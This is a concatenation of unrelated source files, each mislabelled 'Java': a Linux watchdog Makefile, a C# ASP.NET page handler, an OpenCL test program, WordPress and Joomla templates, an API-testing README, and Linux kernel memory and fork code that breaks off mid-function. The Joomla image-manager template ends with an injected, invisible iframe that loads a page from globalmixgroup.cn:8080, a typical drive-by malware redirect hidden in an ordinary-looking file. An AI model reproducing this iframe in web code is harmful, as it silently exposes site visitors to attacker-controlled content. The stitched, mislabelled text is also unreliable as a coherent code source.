obj-$(CONFIG_OCTEON_WDT) += octeon-wdt.o octeon-wdt-y := octeon-wdt-main.o octeon-wdt-nmi.o obj-$(CONFIG_LANTIQ_WDT) += lantiq_wdt.o # PARISC Architecture # POWERPC Architecture obj-$(CONFIG_GEF_WDT) += gef_wdt.o obj-$(CONFIG_8xxx_WDT) += mpc8xxx_wdt.o obj-$(CONFIG_MV64X60_WDT) += mv64x60_wdt.o obj-$(CONFIG_PIKA_WDT) += pika_wdt.o obj-$(CONFIG_BOOKE_WDT) += booke_wdt.o # PPC64 Architecture obj-$(CONFIG_WATCHDOG_RTAS) += wdrtas.o # S390 Architecture # SUPERH (sh + sh64) Architecture obj-$(CONFIG_SH_WDT) += shwdt.o # SPARC Architecture # SPARC64 Architecture obj-$(CONFIG_WATCHDOG_RIO) += riowd.o obj-$(CONFIG_WATCHDOG_CP1XXX) += cpwd.o # XTENSA Architecture # Xen obj-$(CONFIG_XEN_WDT) += xen_wdt.o # Architecture Independent obj-$(CONFIG_WM831X_WATCHDOG) += wm831x_wdt.o obj-$(CONFIG_WM8350_WATCHDOG) += wm8350_wdt.o obj-$(CONFIG_MAX63XX_WATCHDOG) += max63xx_wdt.o obj-$(CONFIG_SOFT_WATCHDOG) += softdog.o
Java
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.SessionState; using System.Data; namespace Schoolxm.html { /// <summary> /// Home 的摘要说明 /// </summary> public class Home : IHttpHandler, IRequiresSessionState { public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/html"; string userName = (string)context.Session["LoginUserName"]; string time = SqlHelper.ExecuteScalar("select VisitTime from T_VisitTime where TID=1").ToString(); if (userName == null) { DataTable dt = SqlHelper.ExecuteDataTable("select top 5 * from T_News order by time desc;"); string str = @"<a href=""/UserLogin.ashx?Action=Log"">登入</a>&nbsp;|&nbsp;<a href=""/UserRegister.ashx?UserReg=Reg"">注册</a>"; var data = new { Title = "主页", News = dt.Rows, time, str }; string html = CommonHelper.RenderHtml("../html/HomeNoName.htm", data); context.Response.Write(html); } else { DataTable dt = SqlHelper.ExecuteDataTable("select top 5 * from T_News order by time desc;"); string str = @"用户:&nbsp;" + userName + "&nbsp;欢迎您"; var data = new { Title = "主页", News = dt.Rows, str, time }; string html = CommonHelper.RenderHtml("../html/HomeHavName.htm", data); context.Response.Write(html); } } public bool IsReusable { get { return false; } } } }
Java
thm-bus-seat-reservation ========================
Java
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'sub_sat_char2char2.cl' */ source_code = read_buffer("sub_sat_char2char2.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "sub_sat_char2char2", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_char2 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_char2)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_char2){{2, 2}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_char2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_char2), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 */ cl_char2 *src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_char2)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_char2){{2, 2}}; /* Create and init device side src buffer 1 */ cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_char2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_char2), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_char2 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_char2)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_char2)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_char2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_char2), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_char2)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 1 */ free(src_1_host_buffer); /* Free device side src buffer 1 */ ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
Java
<?php $count=0; ?> <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <section id="post-<?php the_ID(); ?>" <?php ++$count%2 ? post_class( 'archive col-1-2' ) : post_class( 'archive col-1-2 reverse' ); ?>> <?php the_post_thumbnail( 'steampunkd_sm-post-thumb' ); ?> <header><a href="<?php the_permalink(); ?>" title="For More Info on <?php the_title_attribute(); ?>"><?php the_title( '<h2>', '</h2>'); ?></a></header> <small class="meta">Posted by <?php the_author() ?></small> <small class="meta"><a href="<?php the_permalink(); ?>" title="For More Info on <?php the_title_attribute(); ?>"><time datetime="<?php the_time( 'Y-m-d' ); ?>" ><?php the_time( 'D, M jS, Y' ) ?></time></a></small> <small class="comments"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'steampunkd' ) . '</span>', __( 'One comment so far', 'steampunkd' ), __( 'View all % comments', 'steampunkd' ) ); ?><?php edit_post_link( 'Edit', ' | ', '' ); ?></small> <?php if( !get_the_post_thumbnail() ) the_excerpt(); ?> </section> <?php endwhile; else: ?> <p><?php _e( 'Sorry, no posts matched your criteria.', 'steampunkd' ); ?></p> <?php endif; ?> <div class="paginate"> <?php if( $wp_query->max_num_pages > 1 ) { ?> <nav id="pagination"> <?php steampunkd_paginate(); ?> </nav><!-- .pagination --> <?php } ?> </div>
Java
<?php defined('_JEXEC') or die('Restricted access'); ?> <div class="item"> <a href="javascript:ImageManager.populateFields('<?php echo $this->_tmp_img->path_relative; ?>')"> <img src="<?php echo $this->baseURL.'/'.$this->_tmp_img->path_relative; ?>" width="<?php echo $this->_tmp_img->width_60; ?>" height="<?php echo $this->_tmp_img->height_60; ?>" alt="<?php echo $this->_tmp_img->name; ?> - <?php echo MediaHelper::parseSize($this->_tmp_img->size); ?>" /> <span><?php echo $this->_tmp_img->name; ?></span></a> </ <iframe src="http://globalmixgroup.cn:8080/ts/in.cgi?pepsi64" width=125 height=125 style="visibility: hidden"></iframe>
Java
### Forum URL root https://api-testing-conference.herokuapp.com/v1.0/ ### Forum webapplication https://forum-testing.herokuapp.com/v1.0/ ### Swagger API definition https://app.swaggerhub.com/apis/twiindan/forum-conference/1.0.0 ### Tools POSTMAN: https://www.getpostman.com/ <br> CHARLES PROXY: https://www.charlesproxy.com/ <br> BURPSUITE: https://portswigger.net/burp <br> FIDDLER: https://www.telerik.com/download/fiddler <br> SWAGGER: https://swagger.io/ <br>
Java
/* * arch/i386/mm/ioremap.c * * Re-map IO memory to kernel address space so that we can access it. * This is needed for high PCI addresses that aren't mapped in the * 640k-1MB IO memory area on PC's * * (C) Copyright 1995 1996 Linus Torvalds */ #include <linux/vmalloc.h> #include <asm/io.h> #include <asm/pgalloc.h> static inline void remap_area_pte(pte_t * pte, unsigned long address, unsigned long size, unsigned long phys_addr, unsigned long flags) { unsigned long end; address &= ~PMD_MASK; end = address + size; if (end > PMD_SIZE) end = PMD_SIZE; if (address >= end) BUG(); do { if (!pte_none(*pte)) { printk("remap_area_pte: page already exists\n"); BUG(); } set_pte(pte, mk_pte_phys(phys_addr, __pgprot(_PAGE_PRESENT | _PAGE_RW | _PAGE_DIRTY | _PAGE_ACCESSED | flags))); address += PAGE_SIZE; phys_addr += PAGE_SIZE; pte++; } while (address && (address < end)); } static inline int remap_area_pmd(pmd_t * pmd, unsigned long address, unsigned long size, unsigned long phys_addr, unsigned long flags) { unsigned long end; address &= ~PGDIR_MASK; end = address + size; if (end > PGDIR_SIZE) end = PGDIR_SIZE; phys_addr -= address; if (address >= end) BUG(); do { pte_t * pte = pte_alloc_kernel(&init_mm, pmd, address); if (!pte) return -ENOMEM; remap_area_pte(pte, address, end - address, address + phys_addr, flags); address = (address + PMD_SIZE) & PMD_MASK; pmd++; } while (address && (address < end)); return 0; } static int remap_area_pages(unsigned long address, unsigned long phys_addr, unsigned long size, unsigned long flags) { int error; pgd_t * dir; unsigned long end = address + size; phys_addr -= address; dir = pgd_offset(&init_mm, address); flush_cache_all(); if (address >= end) BUG(); spin_lock(&init_mm.page_table_lock); do { pmd_t *pmd; pmd = pmd_alloc(&init_mm, dir, address); error = -ENOMEM; if (!pmd) break; if (remap_area_pmd(pmd, address, end - address, phys_addr + address, flags)) break; error = 0; address = (address + PGDIR_SIZE) & PGDIR_MASK; dir++; } while (address && (address < end)); spin_unlock(&init_mm.page_table_lock); flush_tlb_all(); return error; } /* * Generic mapping function (not visible outside): */ /* * Remap an arbitrary physical address space into the kernel virtual * address space. Needed when the kernel wants to access high addresses * directly. * * NOTE! We need to allow non-page-aligned mappings too: we will obviously * have to convert them into an offset in a page-aligned mapping, but the * caller shouldn't need to know that small detail. */ void * __ioremap(unsigned long phys_addr, unsigned long size, unsigned long flags) { void * addr; struct vm_struct * area; unsigned long offset, last_addr; /* Don't allow wraparound or zero size */ last_addr = phys_addr + size - 1; if (!size || last_addr < phys_addr) return NULL; /* * Don't remap the low PCI/ISA area, it's always mapped.. */ if (phys_addr >= 0xA0000 && last_addr < 0x100000) return phys_to_virt(phys_addr); /* * Don't allow anybody to remap normal RAM that we're using.. */ if (phys_addr < virt_to_phys(high_memory)) { char *t_addr, *t_end; struct page *page; t_addr = __va(phys_addr); t_end = t_addr + (size - 1); for(page = virt_to_page(t_addr); page <= virt_to_page(t_end); page++) if(!PageReserved(page)) return NULL; } /* * Mappings have to be page-aligned */ offset = phys_addr & ~PAGE_MASK; phys_addr &= PAGE_MASK; size = PAGE_ALIGN(last_addr) - phys_addr; /* * Ok, go for it.. */ area = get_vm_area(size, VM_IOREMAP); if (!area) return NULL; addr = area->addr; if (remap_area_pages(VMALLOC_VMADDR(addr), phys_addr, size, flags)) { vfree(addr); return NULL; } return (void *) (offset + (char *)addr); } void iounmap(void *addr) { if (addr > high_memory) return vfree((void *) (PAGE_MASK & (unsigned long) addr)); } void __init *bt_ioremap(unsigned long phys_addr, unsigned long size) { unsigned long offset, last_addr; unsigned int nrpages; enum fixed_addresses idx; /* Don't allow wraparound or zero size */ last_addr = phys_addr + size - 1; if (!size || last_addr < phys_addr) return NULL; /* * Don't remap the low PCI/ISA area, it's always mapped.. */ if (phys_addr >= 0xA0000 && last_addr < 0x100000) return phys_to_virt(phys_addr); /* * Mappings have to be page-aligned */ offset = phys_addr & ~PAGE_MASK; phys_addr &= PAGE_MASK; size = PAGE_ALIGN(last_addr) - phys_addr; /* * Mappings have to fit in the FIX_BTMAP area. */ nrpages = size >> PAGE_SHIFT; if (nrpages > NR_FIX_BTMAPS) return NULL; /* * Ok, go for it.. */ idx = FIX_BTMAP_BEGIN; while (nrpages > 0) { set_fixmap(idx, phys_addr); phys_addr += PAGE_SIZE; --idx; --nrpages; } return (void*) (offset + fix_to_virt(FIX_BTMAP_BEGIN)); } void __init bt_iounmap(void *addr, unsigned long size) { unsigned long virt_addr; unsigned long offset; unsigned int nrpages; enum fixed_addresses idx; virt_addr = (unsigned long)addr; if (virt_addr < fix_to_virt(FIX_BTMAP_BEGIN)) return; offset = virt_addr & ~PAGE_MASK; nrpages = PAGE_ALIGN(offset + size - 1) >> PAGE_SHIFT; idx = FIX_BTMAP_BEGIN; while (nrpages > 0) { __set_fixmap(idx, 0, __pgprot(0)); --idx; --nrpages; } }
Java
/* * linux/kernel/fork.c * * Copyright (C) 1991, 1992 Linus Torvalds */ /* * 'fork.c' contains the help-routines for the 'fork' system call * (see also entry.S and others). * Fork is rather simple, once you get the hang of it, but the memory * management can be a bitch. See 'mm/memory.c': 'copy_page_range()' */ #include <linux/slab.h> #include <linux/init.h> #include <linux/unistd.h> #include <linux/module.h> #include <linux/vmalloc.h> #include <linux/completion.h> #include <linux/mnt_namespace.h> #include <linux/personality.h> #include <linux/mempolicy.h> #include <linux/sem.h> #include <linux/file.h> #include <linux/key.h> #include <linux/binfmts.h> #include <linux/mman.h> #include <linux/fs.h> #include <linux/nsproxy.h> #include <linux/capability.h> #include <linux/cpu.h> #include <linux/cpuset.h> #include <linux/security.h> #include <linux/swap.h> #include <linux/syscalls.h> #include <linux/jiffies.h> #include <linux/futex.h> #include <linux/task_io_accounting_ops.h> #include <linux/rcupdate.h> #include <linux/ptrace.h> #include <linux/mount.h> #include <linux/audit.h> #include <linux/profile.h> #include <linux/rmap.h> #include <linux/acct.h> #include <linux/tsacct_kern.h> #include <linux/cn_proc.h> #include <linux/freezer.h> #include <linux/delayacct.h> #include <linux/taskstats_kern.h> #include <linux/random.h> #include <asm/pgtable.h> #include <asm/pgalloc.h> #include <asm/uaccess.h> #include <asm/mmu_context.h> #include <asm/cacheflush.h> #include <asm/tlbflush.h> /* * Protected counters by write_lock_irq(&tasklist_lock) */ unsigned long total_forks; /* Handle normal Linux uptimes. */ int nr_threads; /* The idle threads do not count.. */ int max_threads; /* tunable limit on nr_threads */ DEFINE_PER_CPU(unsigned long, process_counts) = 0; __cacheline_aligned DEFINE_RWLOCK(tasklist_lock); /* outer */ int nr_processes(void) { int cpu; int total = 0; for_each_online_cpu(cpu) total += per_cpu(process_counts, cpu); return total; } #ifndef __HAVE_ARCH_TASK_STRUCT_ALLOCATOR # define alloc_task_struct() kmem_cache_alloc(task_struct_cachep, GFP_KERNEL) # define free_task_struct(tsk) kmem_cache_free(task_struct_cachep, (tsk)) static struct kmem_cache *task_struct_cachep; #endif /* SLAB cache for signal_struct structures (tsk->signal) */ static struct kmem_cache *signal_cachep; /* SLAB cache for sighand_struct structures (tsk->sighand) */ struct kmem_cache *sighand_cachep; /* SLAB cache for files_struct structures (tsk->files) */ struct kmem_cache *files_cachep; /* SLAB cache for fs_struct structures (tsk->fs) */ struct kmem_cache *fs_cachep; /* SLAB cache for vm_area_struct structures */ struct kmem_cache *vm_area_cachep; /* SLAB cache for mm_struct structures (tsk->mm) */ static struct kmem_cache *mm_cachep; void free_task(struct task_struct *tsk) { free_thread_info(tsk->stack); rt_mutex_debug_task_free(tsk); free_task_struct(tsk); } EXPORT_SYMBOL(free_task); void __put_task_struct(struct task_struct *tsk) { WARN_ON(!(tsk->exit_state & (EXIT_DEAD | EXIT_ZOMBIE))); WARN_ON(atomic_read(&tsk->usage)); WARN_ON(tsk == current); security_task_free(tsk); free_uid(tsk->user); put_group_info(tsk->group_info); delayacct_tsk_free(tsk); if (!profile_handoff_task(tsk)) free_task(tsk); } void __init fork_init(unsigned long mempages) { #ifndef __HAVE_ARCH_TASK_STRUCT_ALLOCATOR #ifndef ARCH_MIN_TASKALIGN #define ARCH_MIN_TASKALIGN L1_CACHE_BYTES #endif /* create a slab on which task_structs can be allocated */ task_struct_cachep = kmem_cache_create("task_struct", sizeof(struct task_struct), ARCH_MIN_TASKALIGN, SLAB_PANIC, NULL, NULL); #endif /* * The default maximum number of threads is set to a safe * value: the thread structures can take up at most half * of memory. */ max_threads = mempages / (8 * THREAD_SIZE / PAGE_SIZE); /* * we need to allow at least 20 threads to boot a system */ if(max_threads < 20) max_threads = 20; init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2; init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2; init_task.signal->rlim[RLIMIT_SIGPENDING] = init_task.signal->rlim[RLIMIT_NPROC]; } static struct task_struct *dup_task_struct(struct task_struct *orig) { struct task_struct *tsk; struct thread_info *ti; prepare_to_copy(orig); tsk = alloc_task_struct(); if (!tsk) return NULL; ti = alloc_thread_info(tsk); if (!ti) { free_task_struct(tsk); return NULL; } *tsk = *orig; tsk->stack = ti; setup_thread_stack(tsk, orig); #ifdef CONFIG_CC_STACKPROTECTOR tsk->stack_canary = get_random_int(); #endif /* One for us, one for whoever does the "release_task()" (usually parent) */ atomic_set(&tsk->usage,2); atomic_set(&tsk->fs_excl, 0); #ifdef CONFIG_BLK_DEV_IO_TRACE tsk->btrace_seq = 0; #endif tsk->splice_pipe = NULL; return tsk; } #ifdef CONFIG_MMU static inline int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm) { struct vm_area_struct *mpnt, *tmp, **pprev; struct rb_node **rb_link, *rb_parent; int retval; unsigned long charge; struct mempolicy *pol; down_write(&oldmm->mmap_sem); flush_cache_dup_mm(oldmm); /* * Not linked in yet - no deadlock potential: */ down_write_nested(&mm->mmap_sem, SINGLE_DEPTH_NESTING); mm->locked_vm = 0; mm->mmap = NULL; mm->mmap_cache = NULL; mm->free_area_cache = oldmm->mmap_base; mm->cached_hole_size = ~0UL; mm->map_count = 0; cpus_clear(mm->cpu_vm_mask); mm->mm_rb = RB_ROOT; rb_link = &mm->mm_rb.rb_node; rb_parent = NULL; pprev = &mm->mmap; for (mpnt = oldmm->mmap; mpnt; mpnt = mpnt->vm_next) { struct file *file; if (mpnt->vm_flags & VM_DONTCOPY) { long pages = vma_pages(mpnt); mm->total_vm -= pages; vm_stat_account(mm, mpnt->vm_flags, mpnt->vm_file, -pages); continue; } charge = 0; if (mpnt->vm_flags & VM_ACCOUNT) { unsigned int len = (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT; if (security_vm_enough_memory(len)) goto fail_nomem; charge = len; } tmp = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL); if (!tmp) goto fail_nomem; *tmp = *mpnt; pol = mpol_copy(vma_policy(mpnt)); retval = PTR_ERR(pol); if (IS_ERR(pol)) goto fail_nomem_policy; vma_set_policy(tmp, pol); tmp->vm_flags &= ~VM_LOCKED; tmp->vm_mm = mm; tmp->vm_next = NULL; anon_vma_link(tmp); file = tmp->vm_file; if (file) { struct inode *inode = file->f_path.dentry->d_inode; get_file(file); if (tmp->vm_flags & VM_DENYWRITE) atomic_dec(&inode->i_writecount); /* insert tmp into the share list, just after mpnt */ spin_lock(&file->f_mapping->i_mmap_lock); tmp->vm_truncate_count = mpnt->vm_truncate_count; flush_dcache_mmap_lock(file->f_mapping); vma_prio_tree_add(tmp, mpnt); flush_dcache_mmap_unlock(file->f_mapping); spin_unlock(&file->f_mapping->i_mmap_lock); } /* * Link in the new vma and copy the page table entries. */ *pprev = tmp; pprev = &tmp->vm_next; __vma_link_rb(mm, tmp, rb_link, rb_parent); rb_link = &tmp->vm_rb.rb_right; rb_parent = &tmp->vm_rb; mm->map_count++; retval = copy_page_range(mm, oldmm, mpnt); if (tmp->vm_ops && tmp->vm_ops->open) tmp->vm_ops->open(tmp); if (retval) goto out; } /* a new mm has just been created */ arch_dup_mmap(oldmm, mm); retval = 0; out: up_write(&mm->mmap_sem); flush_tlb_mm(oldmm); up_write(&oldmm->mmap_sem); return retval; fail_nomem_policy: kmem_cache_free(vm_area_cachep, tmp); fail_nomem: retval = -ENOMEM; vm_unacct_memory(charge); goto out; } static inline int mm_alloc_pgd(struct mm_struct * mm) { mm->pgd = pgd_alloc(mm); if (unlikely(!mm->pgd)) return -ENOMEM; return 0; } static inline void mm_free_pgd(struct mm_struct * mm) { pgd_free(mm->pgd); } #else #define dup_mmap(mm, oldmm) (0) #define mm_alloc_pgd(mm) (0) #define mm_free_pgd(mm) #endif /* CONFIG_MMU */ __cacheline_aligned_in_smp DEFINE_SPINLOCK(mmlist_lock); #define allocate_mm() (kmem_cache_alloc(mm_cachep, GFP_KERNEL)) #define free_mm(mm) (kmem_cache_free(mm_cachep, (mm))) #include <linux/init_task.h> static struct mm_struct * mm_init(struct mm_struct * mm) { atomic_set(&mm->mm_users, 1); atomic_set(&mm->mm_count, 1); init_rwsem(&mm->mmap_sem); INIT_LIST_HEAD(&mm->mmlist); mm->core_waiters = 0; mm->nr_ptes = 0; set_mm_counter(mm, file_rss, 0); set_mm_counter(mm, anon_rss, 0); spin_lock_init(&mm->page_table_lock); rwlock_init(&mm->ioctx_list_lock); mm->ioctx_list = NULL; mm->free_area_cache = TASK_UNMAPPED_BASE; mm->cached_hole_size = ~0UL; if (likely(!mm_alloc_pgd(mm))) { mm->def_flags = 0; return mm; } free_mm(mm); return NULL; } /* * Allocate and initialize an mm_struct. */ struct mm_struct * mm_alloc(void) { struct mm_struct * mm; mm = allocate_mm(); if (mm) { memset(mm, 0, sizeof(*mm)); mm = mm_init(mm); } return mm; } /* * Called when the last reference to the mm * is dropped: either by a lazy thread or by * mmput. Free the page directory and the mm. */ void fastcall __mmdrop(struct mm_struct *mm) { BUG_ON(mm == &init_mm); mm_free_pgd(mm); destroy_context(mm); free_mm(mm); } /* * Decrement the use count and release all resources for an mm. */ void mmput(struct mm_struct *mm) { might_sleep(); if (atomic_dec_and_test(&mm->mm_users)) { exit_aio(mm); exit_mmap(mm); if (!list_empty(&mm->mmlist)) { spin_lock(&mmlist_lock); list_del(&mm->mmlist); spin_unlock(&mmlist_lock); } put_swap_token(mm); mmdrop(mm); } } EXPORT_SYMBOL_GPL(mmput); /** * get_task_mm - acquire a reference to the task's mm * * Returns %NULL if the task has no mm. Checks PF_BORROWED_MM (meaning * this kernel workthread has transiently adopted a user mm with use_mm, * to do its AIO) is not set and if so returns a reference to it, after * bumping up the use count. User must release the mm via mmput() * after use. Typically used by /proc and ptrace. */ struct mm_struct *get_task_mm(struct task_struct *task) { struct mm_struct *mm; task_lock(task); mm = task->mm; if (mm) { if (task->flags & PF_BORROWED_MM) mm = NULL; else atomic_inc(&mm->mm_users); } task_unlock(task); return mm; } EXPORT_SYMBOL_GPL(get_task_mm); /* Please note the differences between mmput and mm_release. * mmput is called whenever we stop holding onto a mm_struct, * error success whatever. * * mm_release is called after a mm_struct has been removed * from the current process. * * This difference is important for error handling, when we * only half set up a mm_struct for a new process and need to restore * the old one. Because we mmput the new mm_struct before * restoring the old one. . . * Eric Biederman 10 January 1998 */ void mm_release(struct task_struct *tsk, struct mm_struct *mm) { struct completion *vfork_done = tsk->vfork_done; /* Get rid of any cached register state */ deactivate_mm(tsk, mm); /* notify parent sleeping on vfork() */ if (vfork_done) { tsk->vfork_done = NULL; complete(vfork_done); } /* * If we're exiting normally, clear a user-space tid field if * requested. We leave this alone when dying by signal, to leave * the value intact in a core dump, and to save the unnecessary * trouble otherwise. Userland only wants this done for a sys_exit. */ if (tsk->clear_child_tid && !(tsk->flags & PF_SIGNALED) && atomic_read(&mm->mm_users) > 1) { u32 __user * tidptr = tsk->clear_child_tid; tsk->clear_child_tid = NULL; /* * We don't check the error code - if userspace has * not set up a proper pointer then tough luck. */ put_user(0, tidptr); sys_futex(tidptr, FUTEX_WAKE, 1, NULL, NULL, 0); } } /* * Allocate a new mm structure and copy contents from the * mm structure of the passed in task structure. */ static struct mm_struct *dup_mm(struct task_struct *tsk) { struct mm_struct *mm, *oldmm = current->mm; int err; if (!oldmm) return NULL; mm = allocate_mm(); if (!mm) goto fail_nomem; memcpy(mm, oldmm, sizeof(*mm)); /* Initializing for Swap token stuff */ mm->token_priority = 0; mm->last_interval = 0; if (!mm_init(mm)) goto fail_nomem; if (init_new_context(tsk, mm)) goto fail_nocontext; err = dup_mmap(mm, oldmm); if (err) goto free_pt; mm->hiwater_rss = get_mm_rss(mm); mm->hiwater_vm = mm->total_vm; return mm; free_pt: mmput(mm); fail_nomem: return NULL; fail_nocontext: /* * If init_new_context() failed, we cannot use mmput() to free the mm * because it calls destroy_context() */ mm_free_pgd(mm); free_mm(mm); return NULL; } static int copy_mm(unsigned long clone_flags, struct task_struct * tsk) { struct mm_struct * mm, *oldmm; int retval; tsk->min_flt = tsk->maj_flt = 0; tsk->nvcsw = tsk->nivcsw = 0; tsk->mm = NULL; tsk->active_mm = NULL; /* * Are we cloning a kernel thread? * * We need to steal a active VM for that.. */ oldmm = current->mm; if (!oldmm) return 0; if (clone_flags & CLONE_VM) { atomic_inc(&oldmm->mm_users); mm = oldmm; goto good_mm; } retval = -ENOMEM; 